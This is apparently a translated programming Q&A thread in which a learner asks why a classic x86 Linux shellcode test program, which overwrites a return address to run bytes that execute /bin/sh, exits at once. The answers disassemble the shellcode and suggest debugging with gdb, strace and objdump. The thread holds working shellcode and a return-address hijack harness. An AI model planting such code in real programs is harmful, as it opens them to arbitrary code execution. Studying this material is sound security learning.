1

嗨,我正在学习Buffer Overflow。为了更好地理解,我写了一个小代码来检查发生了什么,但我没有发现任何问题。

char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

和输出:

[krishna]$ gcc -o testsc testsc.c
[krishna]$ ./testsc
$ exit
[krishna]$

为什么会这样exit?我可以通过任何其他方式检查程序执行时内部发生的情况。

如果我的方法不够好,我还能尝试什么?

4

5 回答 5

0

分配指针与复制缓冲区不同。你可能的意思是:

memcpy(ret, shellcode, sizeof(shellcode));

但是,这也不是缓冲区溢出。在这种情况下,您将尝试写入程序的只读代码页,因此您将收到某种类型的信号或系统异常。

于 2013-08-14T05:49:38.563 回答
0

我知道这并不能回答问题,但它可以让你知道 shellcode 的作用

最好的办法是在反汇编程序(如 ollydbg 或 IDA PRO)中运行测试程序,并逐行断点以查看它到底做了什么。

我使用了 ConvertShellcode 2.0,它将 shellcode 显示为程序集,这就是它的样子

ConvertShellcode.exe 的下载链接http://www.mediafire.com/?rnnqjdyv0nbency

用法。

ConvertShellcode.exe \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3


ConvertShellcode 2.0
Copyright (C) 2009 Alain Rioux.  All rights reserved.

Assembly language source code :
***************************************
00000000  jmp 0x2c
00000002  pop esi
00000003  mov dword[esi+0x8],esi
00000006  mov byte[esi+0x7],0x0
0000000a  mov dword[esi+0xc],0x0
00000011  mov eax,0xb
00000016  mov ebx,esi
00000018  lea ecx,[esi+0x8]
0000001b  lea edx,[esi+0xc]
0000001e  int 0x80
00000020  mov eax,0x1
00000025  mov ebx,0x0
0000002a  int 0x80
0000002c  call 0x2
00000031  das
00000032  bound ebp,qword[ecx+0x6e]
00000035  das
00000036  jae 0xa0
于 2013-08-14T06:20:10.663 回答
0

您可以使用 gdb 进行调试和了解内部发生的情况。

      gcc -g -o testsc testsc.c

      gdb testsc

      (gdb)break main
      (gdb)print ret
      (gdb)print *ret

并逐步完成代码。

同时可以通过 readelf/objdump 查看反汇编代码 在另一个终端 objdump -xsd testc

并使用 SSpoke 提到的转换 shell 代码来查看 shell 代码在汇编中的样子。

还可以通过使用查看汇编代码

          gcc -S testsc.c
于 2013-08-14T10:17:49.797 回答
0

为什么是退出?

sh如果输入在 EOF 时打印exit,例如Ctrl D按下时;如果您没有这样做,则EOF必须有其他原因。

我可以通过任何其他方式检查程序执行时内部发生的情况。

由于您的程序已经成功执行/bin/sh,我认为使用调试器检查程序内部没有意义。我会看看strace testsc(也跟踪外壳)的输出;在接近尾声的时候,我们应该看到一个read调用,它应该为sh;获取命令行输入。也许从返回值和错误号我们可以推断出EOF的原因,或者我们可以看到使用的文件描述符来自哪里。

顺便说一句,您使用 gcc 2.95.3 (x86) 编译的程序无需sh立即退出即可运行。

于 2016-08-30T06:36:45.243 回答
-2

缓冲区溢出?

char a[8];
strcpy(a, "0123456789");
于 2013-08-14T06:03:26.727 回答